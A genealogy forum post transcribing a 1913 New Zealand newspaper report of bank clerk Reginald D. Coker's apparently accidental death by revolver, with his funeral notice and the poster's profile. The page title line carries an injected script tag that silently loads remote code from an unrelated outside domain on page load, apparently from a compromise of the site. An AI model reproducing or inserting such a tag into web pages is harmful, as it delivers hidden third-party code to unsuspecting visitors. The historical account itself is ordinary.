Reginald Desmond Coker - Shot Dead - New Zealand, 1913<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
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Reginald Desmond Coker - Shot Dead - New Zealand, 1913

Journal by historyhead

I found this in the Evening Post, 16th May, 1913 via paperspast site, National Library of New Zealand.

SHOT DEAD - Tragic Occurence at a Bank

The staff of the Bank of New South Wales, before business for the day began, were startled to hear a shot from one of the teller's compartments. On ascertaining the cause, it was found that an assistant check clerk, named Reginald D. Coker, lay to all appearances dead with a bullet wound to his forehead and a revolver on the table before him. Dr Henry was sent for. Life was extinct when the doctor saw the body. The police then removed it to the morgue. An inquest will be held tommorow.
It is customary for the gold to be brought up from and vaults every morning, before the day's business begins, and the revolvers with which tellers are usually supplied by the bank for use at the counter in case of emergency are brought up at the same time. Mr Coker was known to be much interested in firearms, and, as a matter of fact, he had just completed his Territorial training, in which he also took great interest. It is thought that he was merely inspecting the weapon that killed him by the posture in which he was found - sitting down, as if to more easily examine the revolver. He was struck in the forehead as if he had been looking down the barrel or at the chambers. They were all fully loaded. Personally Mr Coker was regarded by his superior officers as a particulary bright and intelligent young man, and his conduct and ability marked him as one whose career was full of promise. His uncle, Thomas Bush, of Wellington, described his as a happy, cheerful lad with no worries or anxieties of any kind. Mr Bush saw him last evening at 10.30 and he was then in his usual bright and cheery condition.
The deceased was a native of New Plymouth. His mother is at present in Wellington, and is a widow. She intended to settle here. He was the youngest of three sons, and was aged twenty-two.

"The remains of the late Mr R. D. Coker, who was accidently shot in the Bank of New South Wales on Friday morning, were interred in the Karori Cemetry yesterday afternoon. The funeral took place from the residence of the deceased Uncle, Mr Thomas Bush. A military funeral was accorded deceased, who was a member of the 5th Wellington (Infantry) Regiment the escort and firing party being provided by D Company under Captain Hawthorne, and the 5th Regiment Band, under Bandmaster McComish, being also in attendance. The service in the house and at the gravesite was conducted by Chaplain-Major W Shires'.

Surnames: BUSH COKER HAWTHORNE McCOMISH NATHAN SHIRES
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by historyhead Profile | Research | Contact | Subscribe | Block this user
on 2009-10-26 18:26:40

historyhead , from historic Hawkesbury area, NSW, Australia, has been a Family Tree Circles member since Jul 2009. is researching the following names: BUSH, NATHAN, OGRADY and 142 other(s).

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